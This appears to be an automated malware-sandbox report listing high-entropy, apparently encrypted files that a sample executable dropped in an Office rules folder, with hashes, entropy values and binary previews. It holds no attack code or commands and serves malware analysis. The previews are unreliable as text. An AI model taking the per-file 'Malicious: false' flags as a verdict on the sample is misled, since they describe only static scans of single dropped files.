Preview:	<?xmlU.7+!.7.. .5..e....$.5..,..2=...iS.V..<..E..~.C.T.".^1.oA.V.n.g.>..D.(..?....\|.E:Q....:..M.L..]}a(....Q....u.%.M..z......sI.}.S..T`.......H.rY&.:!..zZ....qUp.N...^.....+9.q.r.:.....;......(m`w.r...../p...+Z..`.....Ae..}.V.eE..YS....w..fo.^.7..e...HJ.1.p..3J...OT?.."M.')....{.)@....Z}.N.X..L... .8~...#....WF_M.&.K...y.............BXI...\.Cf..hL`......3].7.....n.z".v.....].^......Q4.A".L...w^.Q.g..2<.....F.....a?q..G....D.....E...b+]f6j8k..g.TK4...CR;.,o.Gm.I..%B..;..q..k8H?r...\A.xS.I..o\|...C..>L.4`xd....,\|..\|.7..1=....l..(?"o.@.q.`./?.f......k........Q).f..... q^.....y'.[.7.#.C.1jk...y....#.b.e}.i......<.............OFa...n_....X.$o......}..6@_.....R...._..$-.....C.A.=.....0.?YB.g.../Z........u..{7..-9e......J....C.X.~...Y.G.C.(..U..z.....q...y.W.D.c{K....j`$...^.Zo...?J...Z4z....*...n/ X_.J.wQ..>.3.9LG{..6.,.UU...\.Q.W\|4W1\p.CF.5.V"W.k.i..X.0...X..g;..',..o.......@J.....Y..]..RM-.@..5..X..+.{+...(4.....q..1}d...J'Z]w.GV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.933561257170684
Encrypted:	false
SSDEEP:	48:Ah6bX9Hcu7ASKmbM5kMDF/MAlClz5Wa6JdDf37aqZVfNGqUISwnlD:AgX9HXASZbM5TDF/M5x6JdDf37ai7GdA
MD5:	B7C395200F866B52D32A1971AEC6F2CE
SHA1:	010BBA1652D385C4169395C4F4AC194B517BBE1E
SHA-256:	A0A64461837397E4C1FAAA796B774969328CB679E2DA0ADDF64708279532E360
SHA-512:	C5911139BD8F89769BB4897922880640A16F4FC5450F511BC07C02E8BEA641793BC8B964E3AAE468C3421F7348F6D8510416491F4E4D62FDC00D586FE46D847D
Malicious:	false
Preview:	<?xml....IKD..H..4%i9...U.,.fBdC1@.....v...h'b<"x..q......}}d.4t.&~0.v.V.....~%T.F0s..w;...`@.-..e....'...X......MK.!..'.B.....jX^....(g..h.6EBN...[...k.Y.s.DL(.r.b.3.tG..q...6(.B.`.X..[.G.z\|.k..:......uA.\>>...M\|`..v.V.0. ..+d........Z..{..s...?\|....H...r...P.......s...R.+-..YLB...hQ..\|...% .a....g...[..u.N.k.....u..........\..mT.<....B..K;.9;.I..p[.dX.s..e.......].O.p....GK..'.Q..qfC6.]...A.[\|K...#...n..[.."....K.>.Z.L.._h....2...C.....i.L.>.:..c.n......>.......@..y.R.K5L...p...Q....=R7...............ZJ..j....@...&.....u@...j..mo.....F.?.@....o...".!.v.Z.g.}LT....... ...S`...I.z.g.R..u..H$4...J.k....<:.....\.z_(.'.a..._."..P*..]$/.f..i?.n.>IJv.v...D.c..@.Z4.8......O.{....~....l;I.Y...O.2.).;t+....C}..I.X..n.i&..Z.......3...~9...3..yk\.=~.....rT..3DF.O..`R.u....h.....0! .>R..{..0C\|.A%i.VE.vK4....Z.?...?.]O..c.....g^.H>(..y.L=}.v`/......:.hgt....m8A...P(N.........m...9h....W`..#8my6.Z.z..-oI.... .........bl.w..:21t)./3L/.U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.882267393191453
Encrypted:	false
SSDEEP:	48:KbA9vPkykume46ak+d7jeveeBXU4vVIpGD:cfXume46aB7kBkIVp
MD5:	8821287CF746B1E231283377928ED19C
SHA1:	21CD908BFCA861F222FEB7C8691B9406ACC6FDF8
SHA-256:	0CEC4FC3757B6FED893951D28D49E916CCB6A9A12DE4EDF07A85700E5C689E7C
SHA-512:	D928CE2C7F757F72E3CD1C4CC5BB2E0557058D6F09B28294A10F2C91B524F185630DCDF7B8CC3D3693CC5F85FD88514C12151C62ABBB6691570FD5FC93FB340C
Malicious:	false
Preview:	<?xml...9.o..)A..>..... \|.u..r..D.1]FF..w6KxX)P.s.....;.%i...)...m..O].(..N9..T.i..Ar...P..4lv..N..1.......)M1.....p... ..]j3.C.PA..7..R...=.t.o..z=d!.........b...L;..\.Hx)..J..w....H.Q.ll..-..cQ.T.....'.cvU...D.i63B<..Si....... .~....}......,..lK.j`......9.8..%..(M.0.m ..]..'..$.OS"F.6.....$.z..o.M..V...?.W.p..nS.....p'..W..3}3k..I.s...&2#C..&......P..U...c.].?h...q58.{ZGA.......Yk..QL.n.j...7)."....z..%.Am.0=6.a...U.......2..".....<..rp@.B..Q..Z\.<...!._n...,.rf.:).U.8.-5......=.P]...S1.....cw:>E...../..s.X.Y{4e...F..Ob..]y6]..\.`..V.O..L..G.Gi..x..........cy...s .\...3....-. .k2!.`.!....#.V..Fis..l.....tY:..-.0e...Q{;..x"...19P..&..e..A&.^.....L.^.h./.h..\9.E[..!..w(..........j.0...z.HTm...{2..Q.{b.....i....=.d...v@&l.....%c.1...~.%AS.}.SA...`.....c....l._4.,....B....'w.q.. .........fs k../.4...<D@1.....#.X... V...&C..a'-~...K....sK....fe...<6..y...Ly..,3...`..L&%u....L...3h"...c.E.......L..c..e...Nwqt.v..rgpaH..WvQ#X\.m\|85.S..C.....D8X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.864547158828819
Encrypted:	false
SSDEEP:	48:xCHAIcmzxCNvEm+vLfLjEZV/1LSVsPUUflguD:cAlmcJh+vnjEn/1LwsU01
MD5:	A04C286480738EA7E44E8AA84F39D826
SHA1:	37CA153F3EB1DA78EE34F9572CA79550BFA7C941
SHA-256:	A395C2D587785E67525452C6EB3D53E0F1BF391E523A85771FC791EE12BED29C
SHA-512:	613A6CAF9AAFCCEC5B2E625CD8B6808F81C4ECEEFB7BA3698DE212EEA85F4E60F7BC98BC9026B254FEDEB375D40B6718901BC96DEEB02DEA238A7868FC42BC05
Malicious:	false
Preview:	<?xml.l........A....Fa.A.^.6........!..S.@e...."......)..w6.d<#.Xn....Y..n.@~B..@!..i.. -.C.y2...<.K....".L.W..V.K=i.....q.......).UV...`.i.;....O>x.H%$.0..&.(EedN..x...)l.....Q....5...j.V...4}...4.%......T..z........fbvl..AO.7.-u.^y.o.-(.f...b.6...o.....,.RLTe....<q..[.9....W=..BW.2....WA...D~+%..t%._w.....7..3X...E;R..'.......=Jq..ha{ .^..t..1j...x....9.i.y.P7Ax\w.../....=>.!^.:....2.].j...${....)T..F. .B/.\ .....2.R....>.l....h....w...ax\|......'&B..P..\|..G7.Sq....3o^JXUTZ...#...T..In.....^......J^....+....R..gu...V...K...........[.w.b..$..e.Q....).,...Q^..Ve..,DW..B0.h(...Y.a.7..Flu&.u.j.... Mb.+.u.I..F>.....5.zh.....n.9....^..........BF9.t..C..T>..'.... {...g.P.Ii..A...^{$...E.d.&1~....J/.......&...fr....j.6...e. .x..lQ.9P...x.....9..B..f...F.~...7.e..xO.R..kj..2...d.)p..\..>).8.hm...w."2.j.....+.{.z.....xS...A...25!W...6u\|ox..n.aq..l..t.C.$.ckRp....^O..1.h...}L.x._".2>.N..7..4..~.. ..>.a..\k..7...WUy<.T..t.U..`BW\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.931372088061056
Encrypted:	false
SSDEEP:	48:OhjzIB9Gqsp62OG+PyoGXAQyGY6ngle+0zo/XkSkI8ZeiAeVg/oz4hD:OzIBOtOyoGXXNx+e+yo4ZyX/oz4J
MD5:	F0E9034E761D9576988E46F1EA5537D7
SHA1:	E32EF47693AC7FF58DA3AEFCEA2DA53FC189CD34
SHA-256:	DDC570FE177C7DFA08438763260447C8961C667FD2EA0AFD155484BBBFCF536A
SHA-512:	EBD0C0078F8011631C9CE2F3FE750450A2F8E6ED30BBEE82DD5A8D4385F1954887E1A965E4FBF3BA8A4389A2D1B26F5C5B915D5107AF265C68D99B44F97422CA
Malicious:	false
Preview:	<?xml#y.8.r.v...."..%....1.(.U..q..T.A?......f........u..y..Y..r3.$Z..u.j!].k..5Z..I.r.yK2..x...4..`[..;..2.]gL;..<..(.}.r'....J.....Y?.Y.."........oW.lP.%.nX.....v....iAg...8.vCHc$.]..I.g@.a4..V.J.......J{....:..&.d..~.;._.P......s.6.v6.nP-..peK../V......s...I..a.Si ..mm...g..X.a../..a.)....&....3.O.A..F%d..Q..$.q..............b..R.hb....<....:. ....%~.."m.c'7..C..2Vv.F.4y.....$.S.ldM%..F...Bw.........)<I..N....Q\.n.....)9..aS...x..,2..q}P....k...6.i~V..1.E..-.{..~6......*g..1...jn...V9..@l..{r.Yc.N.l...F...o...K..!K.m Y..k!6.....,.<4RGL.U./,K......x.....t/.P...l.@.....`%(.4P.X...b.z...E.M2....2.+....H..Cx).x.M..=j..KC..Lj.t..(b=.W%P.....^...E.u........7.yT.t..m.f..vW..s...@.{h......Z....eaj...P@..d....i...C......a._../....1..f...t.R...........b3..+.jM..3..u2...C...A.."....@.[.F.s.2.."...b1.........21..u.-...V.B.RMo.A.#....0.7......On...t.t.~.....2......:.UN..p.0......7.".......E..jf.......M({r.....UF.+.....0...k..~...)...r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.959965177681484
Encrypted:	false
SSDEEP:	96:MSkJ68gg6sXzjZ4QR+TY+tKPvqabOVwo11qPnhSyqPW:sJ6dg1XZ4QRwtKX9KVPmnhSpPW
MD5:	ABE847D8DF9630D72C3C815E845E6177
SHA1:	5B8E00E5B4B5202892B4BB49CA6D9B2B8F99D7EB
SHA-256:	F12C16DE822CD137476F2E5C21ABB6FEA4A1345C62E6E32454EAFA31BCFA524C
SHA-512:	9F6C7C990D99CF7084BDA586809DD1F0393C1E6AF4BEE361B23C9D8826CC707E785259DE4E25F2EA5EF5B55C532CA40EF4BE1EC29D56CD5813E2983D7932A8BB
Malicious:	false
Preview:	<?xmlk...3.Ve^4b$U...7..gb....88bHK.....j.:...3.{.JXwR..:@H.9..eU.u...^...7..T.` ..6.U@...e.%.H.v.H.3L...~.....P...o.S...<....6...su.y0eW.2.M.m#<...S0...W..9.?5na.Jl.i..c..Bi-w.Aa.o..4.=.ZA..gX.........@..l:.I.:-.@S...h..~...%~Qz..P..r.0..L\|.3.....YI...;.s.\e..N.K.zB.R......%.%.~..'.V?.a."....Lh.W.7E...0....xn.h.../.e......<1M.?,..c.YW.(uho..>.V..M....iL.@.........;..]....+...W..\|...9_G.....n.=.f......n4..B.....8x.....1.n.UBh..y.......2g....."...^^..@..\,Qu!.7.......:.lf.....tV.O>n&2.CC..C..+...~...py...+pM.sP.E&..&;7s.kz..@.[..m}.T]..f...o..q2...[ c..N...;C.%.t..G..q..C+.:n..fp...)5BM}3.8.J.C.`c..)...$..k\|.j.U<>.!-.A.%../...[...a.........R.'..g..n-7K._..CK..!...?...VH...H.q..../...m..A.L..../.m.-.*L?X.%.B......-..(..U!...W.Q......O...\.i.4#iP.?...Ut[....A..'\|.........\b..B?...46..."3x.."_.:,K...u.....C.....h.".Q.{:n..B.#..d_[..kf+1....K..X......T.x...l..B8K'....,...D......K.....7lj....fh...sv..A....m....DtjMsz\|...l...6.(jK...".Pz...t.`X.>Kj.E.d.j.T.G ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.980616274304315
Encrypted:	false
SSDEEP:	192:b2P5sBU44Un0rqRRzD5MYNJCCLFuJho0KyatmwUcl6B/BgjJtgbfN:+5sBU8XRRzN/CBho0KyGm3/OrAfN
MD5:	4470D51AA97C77510F8AC4637326CB0F
SHA1:	22F77D2379D6D5ADB44D515B877ABACDE6F57614
SHA-256:	7E1250F9CF8ED313D2F39D7A1E13FF8615F9BD713046331C4086FCFA6188519F
SHA-512:	BA9EC8F9208E06171C3D0CB604AF1997EC45B77AF121F813565752A8C5F33EE5FFC65A242B2B7E2676D3C0036169F3992428EFC6FE618DE7B612FEE4C3943787
Malicious:	false
Preview:	<?xml=.fc.\|`..j.U.4.yc.H..2F...&y.gX..4.s....:.bL....w...r.Q.....bKK\.....N...$.aqQT{W ......rjMm~VBn...BU....oI....b...[/..@......l.S[}x..$..k........7..-32......h.:.D.I..../n'l..t..vzX2G.\.aA...%...4x....btW...v....8!\|...$.v....Ua;^..>..w.Q.lJ...../...T......f#.p.&......6s....>h...K .U.$<H...e...2. ...Z)0a?...e+.......LM,.0.2..:.y....D9:...j...$.x...$....AL.w... mI....l.f...L3\|0~Mjv...._.."..$..fh..\|....._gl.,......}.8..O.!"...Y.....OG2^...4..m.Wi....[..<-...7Bb.9hd.j07K....q..uz.........9.q..i.YKSh....m'3.GN....H...r#..a..........^...q.....L.z."......?.\|.....N..`~~o]..v`f.T.H.1d....1W.S..ubH.<..X.[.....h.F#k-Vm...S..@G!l.?...S..W...z.._.+Z..} ..o.j..~...Z..\|K...\.......t...w...........z.O...FB..O..a.......r.E...e.m.Pq.q....N...p\|~+....x.y...J5........O....l...<.Z...L.0.....\|)...fR..U./UI.JY......+..Ay...Z.C.NN"C6".H?(k.-.q..T.V.[....%...5./J..r.)...r..<.4........2s......2.....]..U...o...>..8....v....PC..:s..h..XB...(V..J. >.#._e.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.9439916287253745
Encrypted:	false
SSDEEP:	96:8dKU8t0vYxegfe4FL/sfgNrAteEKc/iKGQl5UwM7eX0mG:s8tKIegn/t5ueaFlsCEmG
MD5:	7FCD32145FB71E1E390968A6D40955EC
SHA1:	DBD9433D1B24B6C3842CD5EBEAE8D8705EA197BE
SHA-256:	4A30469F773FFC8E05DD3E24CE65E1772D7EFEC6D1B6DFF427D16F5F3F59FC8F
SHA-512:	AB5A3E0686300895ECE757C944FA4FEBC730A4C83A963C5FD16E397BC7A5C584DEBDB1E202147FC1615E9E818443909347C5B0E85FF75C9EEB2909DBAB0224BE
Malicious:	false
Preview:	<?xml.E4..W.\|....s..t.<SH....\.>.x......>h...O...[..j\|.o......2.~...\|.)7.Z....%.....D.......>...7.o.X...k..}w2uw9^.C..!!.W..c{}5...^..U......_%{zm.y.!9...t...=..z.\|...=xY>.r}.......L...$.......lU....]GW.(@sM1 .h5...g..-$k.[.a..&3..z.......\"Q.I_Hp-....b.#v..U.`.L.?&..<'.tWA...K.......nW_z........,.{.._..?..ZD,rGZPI`..~...?F.L..2mF.2hA.K..............n..M......I..:/{.GM....r 1.x.]...7... _D ...V~}~...xc9j.d....:}.GEm......EK.."..PA.....)."5!.K..0X&....eB........j....^.i."X..).......w...[...........s...\..C..9.&..q.?.Q..a.\0Z\|.0....eo....c......`Q....DI.2?@..U.I.j.+.....M......aS....C.......d.....(2K9,L#g......p.;.Oi.OHG..... ..._.c...G..'@[.(.S....f'b.#[I..']7K.8p.#....Js.Jg^...T....C...8.;=.r...c.1.**..!TMV.cs....9/...M..,+!..'4s.b..YyM......x4...<}.v_wu...V..9.kf......>....K.=v..#/.kc..s.M)....1..`<..4;.......y......F..A..Be......Z..4...[.=..a..]..u.N....Z.c.(..~]..s~.."..b.65B..=..`m.....b.P.4..=.U.\F.....'...V..K+.<.q`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.93864232492343
Encrypted:	false
SSDEEP:	96:w1dJIlJQaFn3A6TLcpIFHXaV2VoPBN4jLC:UI34yLGIFE2CpN4S
MD5:	23D74B19AD71F223FD0F4C01C64D9E30
SHA1:	2A521627B56BBBB3B9EFF934314AB4645D7C6BC5
SHA-256:	D4A5177F12FE4F62BB197B4A2B6DF6CC5E423D0CDBCF45E5F363C3CEF6EC5ED8
SHA-512:	DB658D8A1F32C268CF2AEC14C3A784A755C5C2A487A0BA9F2BF7E35BD61AC509ECD30A198FB7AB229AF6262AE3B10B107D711A765BE8E6A904515FA47A2D7587
Malicious:	false
Preview:	<?xmld+....t..8.B..\|.......hY...nL.Lv.....~Sdtt.%9]R..7..;.I]......,BU....O..8>B?F.$.L..x........=.$=.r..Y;.d.7.dmz.....v..."Q.{..lW:...S..^.>O.)..b.N:T.9.5vB$O.+....#F.1./\z.."...s.......D0)....V.C{f/....Q....^X....z..$;w....."A.o.2^...9../_].<c.x...+....#....n.L..@..].QF-.M...2...c.M..........u.ox.n..%....66.aw...G.../0...D......a./.=DB....)'......Vhv.....M.\..9.c.'9.....O...S.-.=`..+9.....g^n..;}....!CBYo33\...r...3T..Qq....~FXk.....`.%..;u..?.....a..[..j.N...hf..y..K.......h..2..YZ.....E..`.",..`. .Kr..OD..a^.U..lp..D. T^M?);j..A...}.sg.K).~aA..hv..../&..,.z..\|...6.@9<.p..76...MM.....<.....B}0&U..).{....h..........\.1....x1.;yX.w..Mg!G6R...Wgn.ekd.ZU...z7b....9......r?..&&.......&.....I.`..mR...K.'...1iBy.....T>".2j....)..qn.<..+$"...e...........d.2f..O3$....x(.Oj..6.......K....nS......J_..~....`0)..bUNWM.^N../.D.4....PT?.1.u..3...X.w..Y.y.....y.gv.Y...]4.7.w2...i...H....w..aa?.Xu.l.X....5.!...(.o.{....&F1..wD.@..z..l)...9E....J.f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.928929138153322
Encrypted:	false
SSDEEP:	48:2l1dIPkatqrUsAe6thrpEWcY8UMRkYbu6r33k5VhFXUzpSjugIpPR45W45BbXnq6:S1KPk6qAsAe6thrpEWqRVq5VckjufX4n
MD5:	7C2C581F2B00D1E3D9287A772A8C0B6D
SHA1:	C5D83A2B5FE997ED2A7C086997EDB8CFED155292
SHA-256:	145D318F3E0E2F146BD3E26BC1D9568F1C964568B9527024AF44D75B7011FBC4
SHA-512:	F8C2A334897C5EF47667AA7AF5D7D8361378C193C33AC3641A8C44961738BD9AD10ABF14CD12D8B2FF62AD9B84234BED6001016576F12353CC31ED55095DA458
Malicious:	false
Preview:	<?xml../..n.a..0nUK.[.?.M8..@Wnu.\|).-?.=.y.$...8.x......X..%...%....~..3.8d...1.I...".X..{...,..:..\...V..M(`}......F....p?....N..q...q1....6....j..:NU..a...[C.v..F.....9vl....]...L.-....w^....hH....t.oX...oZ$...(..$7.<Q.].....\|.O.Y-.y.B`g%U.bL.t...1,.>..!.#T.A..{._A..../\....B~$.S'....XC.T.....m....[.Xw.y....x.\....74.R...^..:..7.U......U.....].[.92.(...p..XC...TMx...M..@......`..X..&....3....a.".xK.. .q....OD:...QSehb..o..d..... .9..d..bs.h)-.h..q...Wk.&.o$....[.^.Mq.:..(.3.)2.H. .q.!(...l.wk...].....<.k..k...X...$5.l.....r.9..B.-J..Y.#P.fJ....G..7....K......l$....C...9s.Z..6.........u..._.A...o....e.....M\|....[..~F.P:.....@Y..]..b..O.._.......e..v.v.X ?.N[....8........S.).......G...3 ....sf&4.ss..v.Rz.(.\.J....+N.b..2..M.R".\|^..y..,\..g.,h.X....p..}d.y.s.[1...B..i..M3[..=^..)....z...<..U..>........>..mwa........Z~.i..t.2...W.H\?@..M...7r...l..H.Y..2..O..mj...R......T....AjH.'u.R.N.O.5..7..2I(...W.gm.&..\|.J3B:V...y'..idE.....S.L...>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.922105862937641
Encrypted:	false
SSDEEP:	48:7EBbciUVtHwdnPnbh44EJL2b2A+vPLg3bqOfPLD8pPpTTlbDAByfflmD:7DydnVExAuLvxRTWyE
MD5:	FB45F64FA4B79CBCA413874225C2ECD3
SHA1:	5C3B49BB425B185C98394AB1A012C8CFEAE76C51
SHA-256:	6B93A81EE9F42BA16A61FC92FFC31DF962ED2362D5E2870025ED1501D4CA570E
SHA-512:	38F131B73CAD5D0F771FD101CBB83AF4702F1F9839ACEBC238BBC9CED091AAD6DDC27FFA51B82B35E2C35124F3EEE44659DC150DC872CC8F751F14281B344996
Malicious:	false
Preview:	<?xml.ZZ..,r..6..1j1S....6=h.;r.0h5...i.O.tL...}...C....]W.L......n....s...Q}3..y{.;..U..9.}....L..t/4......t.y.<D...k..........f_.9wXsxb.........V.{W\...v..'\..e.l4.&..R.)..Y..Z .l.`,..n,F.Lch.....wt.r.D..0...9...."_.Q..UZ..O.sF..U.&.}<.K...@2......[7...EjUJ..[..n...W..CcpY..3.._..?....?%/x.A\..*'..../#.."lS.=@...\|\i.\|.+Om.s.vV.c.N......nm+..lA.;,D...R....&\...H..I.x{...Gj.... ...oI..C{.;.6...."JU.....Xm^...U.? ....L<.....6.#~o........# M.Wf%./N.y....J:.T[e.._..[...,.+\|.[.....;.Y);g..+.=..;V..A..OR...B/.... ...dq9..:4X.Y..;@[.~...G%..{.\.g.....?.`<\|.x.8.8`p.a.8].....~.L,0.a.4......Ci=..h$...=.`....]A.-.o..V..AD....`....>%........:......o[.$<..].%.....s3!k..mCx.9.J......l..v...Br.$')]\.r....}R'S..P.....P$mX.:p...T..Z.....WO>..[> a{.Y....1N.u...._...I;.'....J%...!....M.B.9.E.."[._..)........u..7$..X.:.V....<..p_.QZ.d..T..`,j.OB~A..b[..\9.....q....H.]..7.1&.....lq}.t..1QR...j.0.g...p..q....S.>.Tf5..~.?..{..}y.e.L..-......_.X.........B.'.@.IV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.703224404641032
Encrypted:	false
SSDEEP:	12:+hz3fXtLIpisvhQf9DuuePQIbyPPByJaz6eJNUFqQp1USW/JS9wLMotsGI1+ciik:QftDsvGfmQIEpKaz6ecFvMSISql1jbD
MD5:	C1CC0DEA2CA0C14FA021383A90D9694F
SHA1:	14B8F3A56FA8A80405E9B5EB277D892321DCA735
SHA-256:	231B6F0556339FDF380288C6B12605FCD138CC170773C8D4BBCC539B786A290A
SHA-512:	94373065E5EB89DC7E092D0219D6E5EF65C0776F1C59FA22C1BF6B2B6EC5BA5E0D2D4CC9051718540CFC8721EFD618D5213F4028F79A8DE23F54AE445C959066
Malicious:	false
Preview:	<?xmld.j)-zR..}.2KMB8...........g\v....3I...+F.ezm...W.Rr..dY&...$$..'Vj<!g8.?....z......?..1..........Np...q8.n...X[X#....G.Q. ._......i0[.XL......-. .g.5).;.51....{...$.4...$....h.h.0.%..<Onc...8LI.....[..7.....z6...LJY...3,zA2..Oa.d.........Vu.g.;~....}/p.S.3n,.].?...j. ._....3J..J.5....6,.\6Pz..1......."......2...u.!..T....+) u.Y...8...f..... %....2..j..U\.].e..Z........p..b.A<..t..C.....P.I.;EVT{..Gah.....D.{'./Q4@...<9Jc.......[.c..y..^..].-Yu.^.N.+......n.....>V...)..+.K.. of..;....-.dx4..b........H.....&.]t.M..0E.^...hC..}i...........(j1..RZ../.l....>....'.6r..P..7%#....;.0......5...7-p.>2.o.~.<..:......~.........4P:z8W.........-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.817737112435069
Encrypted:	false
SSDEEP:	24:ZqURw6W/jiJhx89BJ4dli7RbgEEEnBce28fJ615KyYMt3c4o8SzzbD:Usw6WbiJhxOBulidbf9n+e28hyBYMlo/
MD5:	B3EF37A60868DE3691FBE3D592654439
SHA1:	C14AE4A0B55AAE5117054F5B20E51952A2059445
SHA-256:	1DF73C5DD771384B449500BF45F8BBAD5CEB05561402A6B0AB370F0B95751B37
SHA-512:	FCFB3249701FCAEAE4C64D4CC6907C1536C6854FB3DF261DAA5AC7F43980EC3DFF89E17EC5441BD662E3BF29A2BDF63C71643D0FA95F8F3F2294E70F383FE8E6
Malicious:	false
Preview:	<?xml..1...z.k.MI>m.p......#.ER.u\%t."O][z..=...Ir....l..m..B\.>W..`n.8.Lm.N...O''...q<...-..vx\|=..l.j...f.?.......@..Il.".if4.+9.x.'_.`>.._>~..j.%P..."..KA.U......\............N.h.L`.u.1.5...v\|..m...Hww.6HX..Z.=..9..z......G.h.0..x`O.Q.........`.E..M.9..?.Dd..!v.......R..b.).9....O........GVP....R.Vx....z.....18...$..w...V\|.. F...t<....U...@.H..H,...;.......t....\|..&..V95..G..?.j..Bg.....W'z...<..Q3...N....W.cb..k..V.O.6u.XA...^k..F.>....G.12.'...Av.dT..e....+.ro.....X..F."3.!..P.X..y......1."_.........eV.J..:.&IU.$&>......Ij..k..Y.:...{w(....b.\|.t..6...4.&..i.1Mr.......)k2.....]....C...^."T.....O}.R......~..jt.....&..t5.....2....-._..5CS.wh.,...n..7.<.S...?3..k...........5c...0.T.Ld..h..5I?.w....n..s...(..[O.....\..^.S.....\_..q.u.+FG..^$..&.&.H..D....4h..@}....(......?..4..8".PjZ..O.q .rX....;..[...5.=...;..7..G.8.5.....g.F....V32Y..B............Q..@>o.s.PN+.X..SL 3....i..lx...3[...C 8...j...H........A.G."!^.b...c.R....M<_=...I.U.E.s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.535525795507324
Encrypted:	false
SSDEEP:	12:sdIaAPgiv6AE2viEqdpdcez7ScdeTCl2k0Su3kW9TK4/NgT8tt2Gvf1+cii9a:sWanc6A6d/8TC10VkmTK44Ut24sbD
MD5:	556E00637A07F578DED72721DBCBD23F
SHA1:	91F1AFF64069282C76D7428E91E0389C1D449943
SHA-256:	3725A95521C8B97B2F17A53F7576CE8EA386C855AAC5E467C6398912B01DFE4B
SHA-512:	D7B70C12121C8501C700D872DC272D4B1C0762A6E8CC05CE0F1ADC76CB89BE42F4E631375BB4F73A3DA462D1DE7FE92D23D775395308ABF7F0420CA968A6DECA
Malicious:	false
Preview:	<?xml.6?.....5..I...4...E..p.kE../:.... .X6..5i...I..M.......g.N.i...K...U^..S.}k..'F.I..NT@n...}....FyF}!H......c.;.(M3.1.S.x.....?.mY..W.3..;.?.H....]..#....q.n.c5x........u..T...#l.\...;2I....?.......z...g.Jw..ur`W<;?I.nR.V.P.}Zf.':.....O&[.d.j.....F<.....2....u.\...J}..&O.".!.0.:..."...3.....P.P.rA.....dEF..x.....`.....:..cnC.....K..B..........G.><j.+..DK..X.w.y.6....m..Z.m..&O...$.p..~.'..{..w..m.a.5...Y.k.....P+Eu...P...;,ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.920481182073141
Encrypted:	false
SSDEEP:	48:WPtuGFqvrGZvzaK4IyOMy+I1tDkPpoiPTOZav+IJHCt19+PD:N5vrDwdj+EupoiKZaTCt19+b
MD5:	6C3A3842B6EC317E1892D7A01E2A9EAA
SHA1:	07E606B60F2BAF04120E62244027032AD360D7E9
SHA-256:	0079237A317B4BE4AA657516B0966D8E6CDDB0EE0E5D2232C34B353A213CE15D
SHA-512:	1797F959AF9C8B43982FC8B13B6C852080A2E5A6A856BBAE1424114DA6A68F3CA38413E03D5EA5E7432EC3566AB6468C0D59F60DED4FBAA85457BEDDE7B859EA
Malicious:	false
